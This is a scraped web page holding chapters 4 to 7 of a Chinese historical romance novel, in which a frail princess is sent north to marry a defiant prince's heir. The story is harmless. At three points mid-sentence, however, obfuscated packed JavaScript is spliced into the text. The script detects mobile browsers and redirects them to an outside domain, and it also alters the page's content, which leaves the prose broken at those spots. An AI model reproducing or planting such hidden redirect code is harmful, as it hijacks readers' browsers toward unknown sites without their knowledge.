那侍卫眼观鼻鼻观心,一副油盐不进的模样。 穿一身藕荷色暗绣银丝云纹素纱长裙的太子妃倒是接受良好,只略略点了点头,便转身带着榴月离开,毫不介意地开导榴月:“郡主毕竟自幼同太子一同长大,情谊深厚,岂是我这个刚过门的太子妃可比的?更何况郡主即将远嫁,兄妹难得聚首,岂希望外人打扰?”。 她语气豁达,眉目疏朗阔气,太过素淡温柔的打扮反而压住了她眉眼间的英气, 榴月:“那好歹,把这莲子羹留下?也好叫太子知道太子妃一片心意。” 太子妃摆摆手:“太子现下哪有空用羹汤?搁久了了便不香甜了,还是带回去我吃罢。” “……我的太子妃啊,您嫁进东宫也两月有余了,怎么一点也不想着将太子的心笼过来……”榴月拿太子妃没辙了,今儿她好容易把人劝来给太子送羹汤,还换了身温柔秀气的衣裳,没想到连个太子的影子都没瞧见。 “太子又不是驴,哪里吊根胡萝卜便往哪里走,我可操不来这份心。”太子妃头疼地快走两步,想把榴月的说教甩在身后,“倒是清平郡主真是可怜,孤身一人嫁去北疆,那定北王世子还是个混不吝的。我记着太子琢磨着为郡主添妆,我这个太子妃也得表些心意才是。” 于是封眠回到寝殿时,便收到了太子妃送来的一整套精钢打造的长短匕首与袖里暗器,并一张狂草写就的字条,让封眠拿着防身,莫叫人欺负了去。 封眠乐不可支地将那一匣子冷兵器摸了个遍,她记得太子妃狄兰的娘家是管军械库的,没想到她这般大方又剑走偏锋地给她送了这么些好东西。有刀在手心不慌,她再请武婢教些招式,日后出了事也能搏一搏生机。 这位新嫂嫂当真大方有趣,日后离了家她要多多给这位嫂嫂写信,若能再多得些有意思的暗器就好了。 封眠把玩着一枚掌心大小的袖箭,幻想着那定北王世子欲行不轨时被自己扬袖一箭射倒的画面,发出桀桀坏笑。 此时的北疆积雪方融,呼啸的寒风拍打着张牙舞爪地枯枝,劲疾的马蹄声叠着枯叶被踏碎的脆响,一身轻铠的少年策马搭弓,身后披风被风猎猎卷起。 百里浔舟正肃目瞄着朗空下一双大雁,放箭的瞬间忽然打了个喷嚏,箭矢穿空,同时射穿两只雁的翅膀。 雁疾疾坠地,他又连打了两道喷嚏。 谁在骂他? 4. 第 4 章 一只手凌空一捞,抓住了即将坠地的两只雁,骑在马上的侍卫山衣单手扬起猎物,兴奋地看向身后,“世子,一箭双雁,好兆头啊!” 百里浔舟勒马而停,环顾身后。他生了张清俊明丽的脸,墨眉如画直飞入鬓,眼角狭长带着锐意,略弯的眼尾又中和了些过于锋利的气质,四顾时眉目生辉。 见无人跟上来,他便向山衣扬了扬下巴示意:“拿回去交差吧。” 说罢,他便欲策马离开。山衣以迅雷不及掩耳之势横马挡在百里浔舟面前,可怜兮兮地谄媚一笑:“世子你可不能走啊,王妃让咱们好生招待小侯爷,属下一个人怎么应付得了……” 百里浔舟颇有些不耐烦:“轻衣传信,阿尔纳部今晚打算夜袭小河湾。我没空陪那二世祖胡闹,给他猎两只活雁已算是给母亲面子。” 他勒了缰绳便要走,身后却传来踢踢踏踏的马声,伴着少年人拉长调子的张扬声音:“老远我便瞧见一箭穿云,直射双雁,如此箭法,果然是百里世子!” 百里浔舟不耐烦地翻了个白眼,双腿轻夹马腹便要当着来人的面溜走,山衣大逆不道地一把抓住百里浔舟的马缰,讪笑着自齿缝间挤出几个字:“军饷,世子,想想军饷!” 小侯爷褚景淇乃当今圣上幼弟秦王嫡子。秦王兼掌了朔北路运使一职,掌着北疆数支军队的军需供应,是个行走的财神爷,偏又抠门得紧,一笔笔花销扣得又细又慢。 如今关外各族部落经了一冬的消耗,粮草告急,频频骚扰边境村落。虽然因战马冬季掉膘,机动性不强,只是小股作乱不成气候,但越来越频繁的动作极大地干扰了民生,影响春耕。定北王手下养着几十万的兵,军费告急,亟需财神爷支援。 而这位财神爷唯一的突破口便是他那不学无术的嫡子褚景淇。恰巧褚景淇近来爱上了打猎,又恰巧他来了云中郡游玩,定北王便忙不迭将亲生儿子“卖给”小侯爷做伴游。 若非王妃从中调停,北疆便要多一个“定北王为讨薪出卖亲生子,世子爷怒发冲冠爆揍亲爹”的笑话了。 没法子,财政大权掌握在人家手上,两手空空的世子爷也只能低头。百里浔舟强自压下心中不耐,一把抓过山衣手中双雁丢到褚景淇怀里。 “行伍之人的微末之技罢了。小侯爷若喜欢,便送与你玩罢。” 侍从帮着褚景淇手忙脚乱地捧住了那双活雁,褚景淇浑没在意百里浔舟这随意打发的态度,打量着双雁喜不自胜:“好一双矫健雄壮的活雁,拿来做聘雁定能惊艳四座!” 秦王妃正为褚景淇挑选正妻,指望着成亲后他能稳重些,这人选拿捏得慎之又慎。如今已筛了一半,还有三十余名闺秀等着秦王妃做最后的抉择。 周围的少年都正是慕少艾的年纪,闻言纷纷恭贺起褚景淇来,祝他能早日抱得美人归。 从小到大,褚景淇从未在任何事上拔得头筹,样样垫底,如今却要成为二世祖圈子里第一个明媒正娶的人,颇有些自得,忍不住便要从人身上找些优越感,翘翘下巴问百里浔舟:“百里世子也快加冠了吧?王妃可为你相看了?” 百里浔舟正四顾搜寻着猎物,跑路不成,他便想快快地多猎些野味把人打发走,闻言有些漫不经心:“战事未休,没空。” 众人面面相觑,褚景淇撇嘴:“难道你还想孤独终老不成?不过你这性子确实不好娶媳妇。莫怕,回头让我娘去与你娘交流些经验,定给你寻个性情相投。”他说着摆出一副过来人颇有经验的样子,“此事就算不急也得开始相看了,好娘子又不会从天上掉下来。” 百里浔舟将他的话全当耳旁风,执箭瞄向林间一只雪白的兔子,高束的马尾微微侧落,箭羽恰与他挺直鼻梁上一点痣齐平,锋利目光下自有一股风流蕴藉。 林中兔子耳朵一抖,转了个身子吃草,雪白的毛屁股对着百里浔舟。百里浔舟指尖微勾,箭尖对准兔子,准备放弓。 “世子!出事了世子!” 这时一道惊雷般的声音响起,杂乱震耳的马蹄声响起,一人疾驰而来。林中兔子机敏地一敛耳朵,抛弃美味野草,咻地往林子深处跑去,一道利箭带着破空之声疾射而至,在兔子的必经之路上,精准地射中它的咽喉。 兔子扑通倒地,山衣忙策马去捡猎物。 百里浔舟收了弓,不满地看向声源处。穿着定北王府仆役衣服的小厮骑马奔近,尚有几米远时就着急忙慌地跃下马背,几乎跌了一个跟头。 “慌里慌张的什么样子,王府着火了还是你屁股着火了?”百里浔舟瞪一眼小厮。 小厮气喘不匀又胆战心惊地辩解:“世子见谅,实在是事情十万火急,王妃命小的快马加鞭……” “说事。” “宫里来人,圣上给您和清平郡主赐婚了。” 空气霎时一静。小厮一秃噜说完要紧事,便垂着头不敢动弹,接着便听见百里浔舟厉声策马,骏马擦着他的身子远去,扬起的尘扑了他一身。 拎着猎物归来的山衣听了全程,见状忙瞪着眼睛策马追了上去,再次扑了小厮一身尘土。 听着马蹄声渐渐远去,小厮重重松了口气,顶着满脸土跌坐在地,歇了口气。 褚景淇张口结舌半晌,怒眉瞪目地摔了马鞭:“他怎的又快我一步!” 其余众人不解地窃窃私语:“这清平郡主是哪一位啊?” 褚景淇这才反应过来是谁被赐婚给了百里浔舟。年底的宫宴上他才见过封眠,在盛京那比北疆要暖和数倍的冬日里,封眠裹了件厚厚的狐裘披风还要挨着火盆坐,迎风一吹便要咳一咳,瞧着病恹恹的。 陛下向来疼她,怎么突然把人发配到北疆来了?这不是要她小命吗! 盛京上下不知命理玄说的众人也纷纷如此议论,除了担心封眠的小身子骨挺不过北疆的凛冽气候,更让人叹怜的是北疆那位定北王府世子在传闻中貌若钟馗,蛮横桀骜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036538|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这娇娇弱弱养尊处优的小郡主嫁过去,怕是日子不好过。 宫内宫外的风言风语过了封眠的耳,却没往心里去。离京之日迫近,她如今忙着清点嫁妆,忙得不亦乐乎。 柔妃很是破费了一番,几乎比着给褚景涟预备的嫁妆送了添妆。 没法子,谁让嘉裕帝本人知晓原本他想给世子指婚对象是谁呢?就算起初他一时被关切冲昏头脑,将命理之说当作唯一的救命稻草,待事后冷静下来,难保不会察觉到柔妃刻意引导的蛛丝马迹。她只能忍下肉痛,只当花钱消灾了。 而柔妃和太子都为封眠添了妆,后宫众人为了在嘉裕帝面前讨个好,多多少少也会送来些心意。 出乎封眠意料的,还有许多宫人悄咪咪地在暑月殿的角门放下了自己的一点点心意。 起初是流萤出门时没看路不小心被个瓷罐子绊了一跤,撅着嘴抱怨有人往暑月殿丢垃圾,再细细一看,才发现那些零零碎碎的东西虽小,却并非什么垃圾。 绊倒流萤的瓷罐子里是一碟子小酱瓜,往日封眠病中只能吃清粥,便要佐一碟子酱瓜才能咽得下去。这是御膳房郑厨子的拿手菜,这罐酱瓜是他的徒弟做的。 郑厨子的徒弟十二岁时病得只剩一口气,没钱治病,躲起来给自己烧了些树叶子当纸钱,恰好被封眠撞见。封眠让人把他送去了官药房,待他病好后,又把人送去给郑厨子做徒弟,谋条生路。 封眠早就把这事忘了,他却还记得。听说封眠即将远嫁,他连夜从一瓮酱缸里挑出品相最好的一瓷罐,趁着天没亮悄悄摆在角门。 还有因绣错了图样险些被当场打死的绣娘,封眠只是为她说过一句话便被她记住了,亲手绣了方喜帕搁在墙角,险些被流萤踩上一脚。 他们身份低微,想着尽己所能回报一二,又怕金尊玉贵的郡主瞧不上这点小东西,只敢悄悄地送来,再悄悄地离开。 暑月殿的角门像是会自己长菜的菜地一样,每日一开门便冒出一堆奇奇怪怪的小物件,倒成了封眠这几日最大的乐趣之一。 离京的日子越近,不舍的情绪便反扑得愈强烈。毕竟这一去,也不知何时才能回来。 封眠知道,比起自己,底下这些宫人只会更惶惑。北疆对于他们这些生长在盛京的人来说,除了气候环境陌生,人也是陌生的。定北王世子的名声实在不怎么好,谁知道他会不会脾气上来就拔剑砍人? 空穴来风,封眠也怕定北王一家是话不投机就拔剑的疯子啊! 封眠手上拿着暂拟的随行宫人的名单,琢磨着还是要多搞一些不好杀的。 彼时,定北王府,被封眠腹诽“话不投机就拔剑”的定北王一家齐聚正厅。 定北王一掌怒目横眉地一掌拍裂了张竹制香几,声音震耳欲聋:“逆子,你浑说什么?!” 百里浔舟眉眼冷冽:“我要抗旨!” 定北王刷地就拔出了挂在厅墙上的宝剑! 5. 第 5 章 定北王府上下针落可闻,正厅及整个院落都只有定北王一家三口彼此对峙的身影。 早在百里浔舟的马蹄疾驰声传进门房时,王府上下的丫鬟仆厮便各自找借口纷纷逃难般往后院涌,一盆花被四个挤挤挨挨的人抬着,跑得比兔子还快。 山衣都没敢进院子,牵着马窝窝囊囊地缩在门房探头探脑,定北王一拔剑他就咻地把脑袋缩了回去,惊恐地捂住了耳朵。 世子爷说的话实在大逆不道,他敢讲,他可不敢听啊! “我说,我要抗旨拒婚。”百里浔舟一字一句道,“父亲若定要这桩婚事,大可从旁支过继一个新儿子来娶,我愿让出世子之位。” 定北王险些被他气个倒仰,脸色黑如锅底:“说什么混账话!本王今日非请家法收拾你不可了!” 寻常人家的家法要么是竹板、戒尺,要么是抄家规罚月钱,定北王府的家法却是定北王手中先帝所赐的长剑。 一道女子轻咳声响起,将剑入鞘、准备给百里浔舟狠狠来一剑鞘的定北王脚下急刹,险些扭了腰。 坐在边上的定北王妃清了清嗓子,制止闹剧上演。她身上一袭藕荷色妆花缎大袖衫,内衬杏白里衣,领口袖缘皆滚了一圈薄绒,仅端坐着便可见温娴静雅的气质。 “在这个家里,不动刀动枪的就不会说话了?” 被她一双美目淡淡扫了一眼,父子俩纷纷梗着脖子移开视线。 “夫人明鉴,这臭小子都不认你我当父母了,岂能放任!”定北王抢先辩白道。 百里浔舟与亲爹呛声:“你这当爹的怎么当面造谣!你若不认我这个儿子,休拿家法碰我!” 冲亲爹凶完,对上母亲的目光,百里浔舟语气软下去,却十分坚定:“总之这盲婚哑嫁的事我不干。” 定北王冷哼一声:“你不愿娶,我看人家姑娘也未必愿意嫁给你!好端端一个郡主,千里迢迢地远嫁给你这么个不着调的,还不定如何以泪洗面呢!” “她不情我不愿,退了婚岂不正好皆大欢喜。” “你当圣上赐婚是去集市上买菜不成?轮得着你挑肥拣瘦?” “都少说两句。”王妃有些头疼,这父子俩一个脾气明着爆,一个脾气暗着撅,碰一起就是针尖对麦芒,今日她若不在府上,两人现下应该已经打到前院去了。 “阿琢,你我都知道这桩婚事并不简单,别闹孩子脾气。”王妃幽幽唤了声百里浔舟的乳名,语调不紧不慢,带着优雅柔和的安抚之意,却又不容置疑,“如今军费吃紧,边关那些小镇又不安宁,若要北疆不生乱,最要紧的便是要圣上不疑。” 百里浔舟一双剑眉蹙紧,压着些许烦躁。道理他自然都懂,但:“这是我的婚事,定要当成一桩生意谈吗?” 王妃喝了口茶顺气,并不答话,直接吩咐下去:“着人准备婚仪吧,这桩婚事无论如何怠慢不得。阿琢,你尤其不许闹事。” 茶盏被王妃随手搁在桌上,盏底与檀木桌案相触,“咔”地一声轻响,敲得百里浔舟垂头丧气,郁气盈胸。 他一声不吭,扭头便走,袍角甩出猎猎之声。 守在门房的山衣牵着马跟上。 “世子,咱们去哪儿啊?还要去陪小侯爷吗?”山衣牵着马头快步跟上,提起小侯爷,眉眼皱成了苦瓜。 “去疾羽营调五百人,随我出城。” 出城干什么?山衣一愣,想起方才府内的争吵,顿时脸色几番变换:“这不好吧?要是把郡主的车架劫了的话……” 百里浔舟莫名其妙地看他一眼:“劫什么郡主?” “您又要调兵又要出城的,不是想半路将郡主劫了,毁了这桩婚事?” 百里浔舟:“……” 山衣后脑勺一痛,被百里浔舟重重拍了一掌。 百里浔舟怒斥:“你当本世子是什么丧心病狂的土匪吗?还劫郡主,劫你狗头!” 山衣嗷嗷叫着往马身后躲,“我错了我错了,所以世子您到底是要干嘛去?” “你是鱼脑子?”百里浔舟气的咬牙,提醒道,“小河湾!” 山衣恍然大悟,却道:“可轻衣既得了消息,定已安排好人手了,左不缺世子一个。这当口您跑去那么远的地儿,王爷不会怀疑您逃婚吧?” 百里浔舟翻身上马,冷冷睨他一眼:“本世子心气不顺,长枪渴血,你是想……” “属下这便去!”山衣策马狂奔,音远渐消。 * 转睫弥月,牡丹争艳之际,也到了封眠辞宫的时候。 嘉裕帝一早退了朝,便带着封眠去开了内廷小祠的门。封眠生母安乐公主的牌匾便设在此处。 偏阁里燃着长明灯,空气中浮动着檀香与沁凉潮湿的青砖气息。 封眠跪在软垫上,面前是一方乌木牌位,上书故安乐公主褚青璃之灵位。 金漆的名字显然有人时常描补,仍然如新造一般。 手中降真香燃,封眠隔着丝缕笔直如线的青烟,怔怔望着灵位上方悬着的画像。 她从未见过母亲。 幼时她与昭宁吵嘴,柔妃拉了偏架,她气不过,找机会将昭宁吓哭了。柔妃将昭宁拉进怀里软声哄着,小小的她好生羡慕昭宁有母亲疼爱,便一步两步地蹭过去,也想讨个香香软软的抱,却被昭宁一把推开。 昭宁警惕地抱紧了人柔妃的手臂,嫩生嫩气地嚷着封眠克死了自己亲娘,不许靠近她的娘亲! 小封眠才知道生母是因为生自己时难产才会去世,许多人都在私下传是她克死的安乐公主。据说她刚出生的那一两日,连嘉裕帝都因迁怒而从未看过她一眼。 得知此事的小姑娘生生将自己哭病了,嘉裕帝发了好大的火,再不许宫中议论安乐公主之死。嘉裕帝说封眠是承载着母亲的爱出生的,是安乐公主甘愿用生命守护的珍宝,她应该代安乐公主好好活下去,这才哄好了小封眠。 嘉裕帝看着封眠上香祭悼,神色复杂感慨:“阿姐,小满已平安长大,朕擅作主张为她安排了一桩婚事,希望往后能继续护她康健无虞。你在天有灵,也可安心了。” 封眠拜了三拜,她不大好意思当着嘉裕帝的面与母亲的牌位说话,便将想说的话放在心中默念。 她暗暗算着,若母亲去世后便投胎转世,如今应也是待嫁之年的小姑娘,便许愿母亲这一世福佑安康,嫁一位可以长长久久陪伴左右的如意郎君,无病无灾,一世无虞,莫要再为女儿忧心了。 祭拜完安乐公主,嘉裕帝亲自将封眠送出了宫门,并悄悄塞给她一个锦囊,叮嘱她遇到难处时再打开。 封眠笑他竟也学谋士锦囊妙计那套。 嘉裕帝并未多说什么,其实他心底也一直在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036539|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为封眠远嫁北疆而忧虑,中间有几日彻夜难眠,几乎想悔婚了。但念着百里世子八字可贵,帝王一言千金,生是忍住了。 临上马车前,柔妃竟神色复杂地轻轻拥了封眠一下。女子婚嫁多有不易,她为了自己女儿的幸福,策划了一场张冠李戴,如今只希望封眠当真能过几年好日子罢。 一场漫长的告别之后,载着封眠的马车终于缓缓驶出了高大的宫门。 此时的暑月殿,一个身影鬼鬼祟祟地翻墙摔了下来。 褚景涟哀哀痛呼着,被随后翻墙而来的侍女碧桃搀了起来。 “公主,您没事吧?” “有事,本公主有大事!暑月殿这什么破墙,明日便叫父皇拆了它!”褚景涟气急败坏地踹了一脚墙,回眸时才发现整个暑月殿内空荡荡一片,呆住了,“人呢?” 有洒扫的宫人听见动静跑过来,恭敬地向褚景涟行过礼后答道:“回公主,郡主此刻应已出宫了。” 晴天霹雳,褚景涟不信:“走了?那你怎么还留在这儿?你不是暑月殿的宫人吗?” 提及此事,宫人略有些感恩和不好意思地说道:“郡主恩典,特问了奴婢们可有留恋故土不愿离乡之人,便不必随郡主前往北疆,留在暑月殿洒扫,待日后岁满即可出宫了。” 褚景涟胸膛几番起伏,又气又闷又失落,她尚在罚期,记着封眠今日要出宫,这才悄悄溜出来,惦记着要见封眠一面,当面讽她得了件好婚事,好看看她难得吃瘪的脸色。如今,她怎么就已经走了呢…… “走得好,走得越快越好,再没人与我抢父皇宠爱!”褚景涟心情复杂得不得了,从小一直讨厌的人终于走了,她应放鞭炮庆祝才是,怎么反倒满腔酸苦苦的? 但她嘴上却嚷着:“她最好是真能就此改名,可别死在北疆了。冻死病死的人都丑得不得了,她也不想死后被人笑话丑八怪吧?” 马车辘辘压着青石板路,依稀可听闻道路两旁市井喧闹民声。 封眠刚要撩起车窗帘看一眼盛京街道的景色,便仰头打了个喷嚏,惊得流萤忙端来一个比封眠脸还大的瓷碗喂她喝药。 “郡主快先将药喝了再看风景。” 一海碗药咕嘟咕嘟入了肚,流萤的脸皱得比封眠还苦,“病去如抽丝,可怜郡主还没好全呢,就要离宫了。” 封眠裹着玫红蝶戏牡丹斗篷靠坐在铺设了软垫的车座上,小脸已调养的红润润,实则没什么大事了,只是将要舟车劳顿,补药总是不能断的。 她叼住雾柳递来的蜜饯,迫不及待地撩开了帘子向外张望。 在盛京住了这么多年,她却几乎从未上过街,看过市井繁华之景,连行宫都极少去,因此瞧什么都新鲜,眼睛都舍不得眨,只是可惜这幅盛京街景日后怕是难再见了。 “咦,快看,那好像是今科状元郎!”流萤也自封眠身侧探出一个小小的脑袋,此刻眼睛亮晶晶地盯着一处,“果然如画像上一般俊朗诶!” 她平生最爱看美人,在宫中当值便如小鼠掉进了米缸,两眼一扫,十个里头有七八个都生得不错。若是宫外见不着的才俊,她便去搜罗画像来瞧,是以竟认得出状元郎。 封眠闻言顺着流萤的视线看去,恰对上茶楼上那道看向自己的目光。 蔚若云霞的青年一手撑着窗棂,俯身向下望着,不知静静望了多久。 6. 第 6 章 风轻云净,春日极朗的晴日温柔地撒落在一辆辆朱漆描金的马车之上,浩荡的车队几乎望不见尽头,执戟携刃的鸾仪卫护卫左右,威仪凛凛。 看热闹的百姓挨挨挤挤围了长街。 有人眼珠子一错不错地盯着嫁妆车队,低声数着:“一、二、三……”他识数不多,见后头还有源源不断的车队涌出来,只得作罢,惊叹着:“这郡主出嫁的排场这般大?这么多嫁妆,皇宫都搬空了吧?” 有妇人叹息:“嫁的那般远,自然得多些东西傍身。” 牵着孩子的母亲心软附和:“才十六岁便要孤身远嫁,真是可怜见的。” 被母亲牵在手中的孩童踮脚张望,努力去看马车撩起的帘下若隐若现的人,天真发问:“阿娘,郡主生得好漂亮呀,她的夫君是不是也生得很好看?” 几名妇人面面相觑,想起那位世子爷“貌若钟馗”的传言,齐齐叹了口气:“造孽呀。” “啧,造孽哟。”茶楼上,一人摇着扇子凑到顾春温身侧,“你说这北疆是不是又生了什么乱子,陛下才急慌慌地嫁了位娇滴滴的郡主过去?” 顾春温未收回视线,沉声道:“北疆自永昌十七年部族之乱起,一直动乱不断,能守北疆国门者,唯有定北王一脉。定北王祖孙三代战功卓越,自然也特立独行地扎人眼球。” 乱局时,武将是守国门、洗血耻的利刃,待时局平稳了,便成了悬于朝堂之上的三尺青锋,总有人忌惮它锋芒太盛。 连未入朝局的新科进士都听说,朝堂上下明里暗里弹劾定北王的奏折能绕皇帝的明心殿三圈。即便这些奏折都被皇帝压了下来,也难保会不会在他心底埋下怀疑的种子。 是以这桩婚事瞧在朝堂众人眼中,便如“和亲”一般,是大雍咽下的一枚定心丸,只是可惜了…… 问话的人是新科进士成立虚,他见顾春温的视线仍落在郡主的婚仪之上,忽然想到什么,问道:“我记得顾兄你前几日拒了宴,说要归家提亲,不知几时能喝到顾兄的喜酒啊?” 顾春温默然道:“晚了一步,她已有婚约在身。” 郡主的车架已然行至了长街尽头,车帘被放下,随风轻轻荡着,再望不见其间人身影。 顾春温想起春日宴那日,他无意间遗落了巾帕,寻到河畔,恰好望见一抹杏红毅然决然地跃入水中。 他吓了一跳,正欲喊人时,便见她已将人救了起来,出水的瞬间万千珠玉飞溅,如同一场琉璃雨。 盛京的贵人们多是一副矫揉矜贵之态,他从未见过谁会这般不计性命地去救一个下人。那日斜落的日光为她周身镀上一层流动的碎金,顾盼间如朝霞映雪。 见她被公主为难,他立刻去附近寻借口将嘉裕帝领了过来。 幸好幸好,将昏迷的她及时送医。 那夜他辗转反侧,寤寐思服。 之后几日清平县主的身影几番入梦,终于在第五日,事事循规的他决意出格一次,入宫门请婚。然而,却听见了圣上赐婚的消息。 一着缓,百着迟。 如今只盼她能平安喜乐罢。 车架驶出盛京城门时,望着两侧萧萧树木和背着大包小裹的赶路行人,离家的愁绪才终于实实在在地涌上了心头。 封眠托腮遥望远处几株垂柳,抽出新芽的柳条随风飘荡着。 “北疆风物迥异于盛京,这些树啊花啊,怕是都见不着了。” “池苑司博有个人自请随郡主北去,带了数包种子。说是可以辟一间暖房出来,就不用担心温度不宜,将花冻死了。”雾柳看出封眠情绪,笑着说道。 这去北疆的差事若非指派,寻常人都避之不及,怎么还有人自请离京北去?封眠正好奇要问,那头流萤却好似被雾柳这话提醒了,开始翻箱倒柜:“是了是了,那地方天寒地冻的,郡主可得好生保暖。” 她从马车上的储物格里翻腾出一盏如意云纹银手炉,惊得封眠瞪大了眼:“手炉就不必了吧!我怕是还没走到北疆,便先中暑了!” 流萤顿了顿,觉得封眠说得有道理,反手把手炉塞了回去,“那等快到北疆了,我再拿出来。” 方塞好手炉,她又搬出一个匣子:“路途迢迢,不若拿太子妃送的暗器练练手吧。北疆流匪多,还多有蛮族之患……” 雾柳做别的都成,却最怕舞刀弄枪,难得推脱道:“毕竟有定北王坐镇,流匪虽多,却鲜少有什么成了气候的。况且我们还有鸾仪卫护送,哪有流匪敢堂而皇之地劫郡主仪驾?” “不怕一万,就怕……” 马车倏地急停,险些将三人甩出座位。紧接着响起马儿慌乱的咴叫和人的尖叫声,流萤惊恐地捂住了嘴巴,疑心自己不会变成了乌鸦嘴,招来了流匪。 “才出盛京几里,哪里来的流匪?莫怕,我去瞧瞧。”封眠安抚地将流萤和雾柳护在身后,当先撩开了车帘。 前头乱成一片,几名鸾仪卫勒住嘶鸣的马,又几人七手八脚地将一个人从泥坑里捞出来。 原来这路中央不知怎么的多了个巨大的泥坑,马儿前蹄陷了进去,挣扎间将马背上年轻的执礼官掀翻在泥坑之中。 此刻那执礼官正满身泥泞地站在泥坑边,一张脸也被污泥涂得看不出颜色。 不知是谁没忍住噗嗤一声,众人皆大笑起来。 被围在当中挺拔如竹的狼狈青年局促又尴尬地扯了扯嘴角。 “陆大人了无事吧?”封眠下了马车,行到近前,见并无血迹才放下心来。她抬手招来两名宫婢:“带陆大人去后头的浴车上换身衣裳,再找侍医替陆大人瞧瞧身上可有磕碰。” 两名宫婢应声行礼,执礼官陆鸣竹慌慌张张地摆手:“不不,我、属下、下官不敢僭越……” 本来就因摔进泥坑里而丢脸宕机的脑子都快不会动了,他打小不知置身同样的倒霉境地多少次了,这还是头一次有人不是嘲笑而是上前关心他有没有受伤。 “事急从权。再说陆大人本就是我的执礼官,一路辛苦之处且还多着呢,此刻便莫要推辞了。” 封眠说着做了个“请”的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036540|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,陆鸣竹便呆呆地跟着人走了。 直到走到浴车前,他才反应过来,郡主居然认得他吗? 马车上,流萤亦好奇问道:“郡主怎么认得那位是陆大人?” “随行官员的资料我都看过了,毕竟要同行这么多时日,一睁眼谁也不认识岂不是糟糕?”封眠又倚回了软垫上,“说起来,这陆大人有个神异的地方……” 流萤眼巴巴地瞅着,就连雾柳也投来好奇的目光。封眠却就此打住,只张了张嘴。雾柳忍笑喂了粒蜜饯过去。 “咨费已投,郡主快请讲吧。” 封眠这才满意地继续说道:“他的运道不大好。以他的姿容和才学,舅舅本是想点他做探花的,结果他似乎是吃坏了肚子,殿前失仪,只得了个同进士出身。后头那些各家所设的宴会,他也是今儿摔了腿,明儿被传错了话,一家也没去成。” “我就说嘛,若他是能当探花的相貌,我怎么没见过他的画像。”流萤感叹一声,“这世间真有如此倒霉之人啊?这、运道差,不传染吧?陛下怎么想起来让他来当执礼官呢?” “他毕竟做得一手好词,适合当执礼官。”封眠抬手半遮住嘴巴,悄声继续说,“而且舅舅惜才,想着那定北王世子的八字是不错,说不定也能顺带着化一化他的霉运呢。” 流萤和雾柳面面相觑。 封眠头次听说时也觉得好笑,舅舅这是把定北王世子当许愿池了?不过今日瞧见陆鸣竹这倒霉的样子,倒也开始希望这说法真能有用了。 向来平安无事的官道,偏偏出现一个大泥坑,偏偏路过的都没摔进去,就陆鸣竹一人摔进去了,当真是有些霉运过头了…… 流萤嘀咕着:“其他的奴婢不操心,只要陆大人的倒霉是只管自己个儿,别连累郡主就成。” 雾柳敲敲她的脑壳:“呸呸呸,乌鸦嘴。” “这话私下说说便罢了,莫要让旁人知晓,也别待他有什么不同。处处走霉运已够让人难受了,若因此还要被人传闲话、遭排挤,日子可就太难过啦。”封眠认认真真地叮嘱流萤。 幼时她只经历了那么一段时间“克父克母、天煞孤星”的闲言碎语,便险些自闭地缩到寝殿角落里长成一株小蘑菇,再一想陆鸣竹这样大小不断到霉运叠加,不知也要被多少人嘲笑疏远,便忍不住感同身受起来。 郡主的车架正向北疆赶去的消息,此时也飞遍了云中郡的大街小巷。一同传进百姓们耳朵里的,还有世子爷为抗婚与王爷大闹一场,离家出走至今未归的消息。 云中郡上下的赌坊顿时热闹起来,开始赌世子爷这婚能不能成。他们云中郡的百姓几乎是看着世子爷长大的,凡是他与王爷闹起来的事,最终几乎皆是世子爷这个倔脾气赢了。 可如今毕竟面对的是皇室女?世子爷还能有胜算吗? 一众或多或少都被世子爷救过性命的百姓们自然是无条件站在他这边,天可怜见的,世子爷都被逼的有家不能回了。作为世子爷的亲子民,他们无论如何得想法子,不能这郡主进门啊! 7. 第 7 章 辘辘轮声碾过崎岖石道,马车缓行入山,轮毂压过地上枯叶,惊起几只寒鸦。待翻过这道幽邃崎岖的狼骨岭,便正式进入北疆地界了。 马车的帘幔已换成了厚不透风的毡布,四角也用皮子做了加厚处理,但听着马车外呼啸的寒风,仍是感觉四面八方都渗进了冷空气。 封眠的手藏在大红羽纱面兔绒鹤氅里,捧着个如意云纹银手炉,脚边也被摆了一个小炉子取暖。 这些时日舟车劳顿,她又小病了一次,好在侍医每日都请脉,略作调养便好了。但还是把身边两个丫头吓坏了,路途遥遥,万一有个万一可如何是好! 是以甫一察觉天气变凉,流萤和雾柳便开始操心起给封眠保暖的事宜。此刻她不但丝毫不冷,都快发汗了。 “都已开春了,北地竟然还这般冷?听这风声,呼啦呼啦的。”流萤侧耳贴在毡布帘子上,啧啧惊奇。 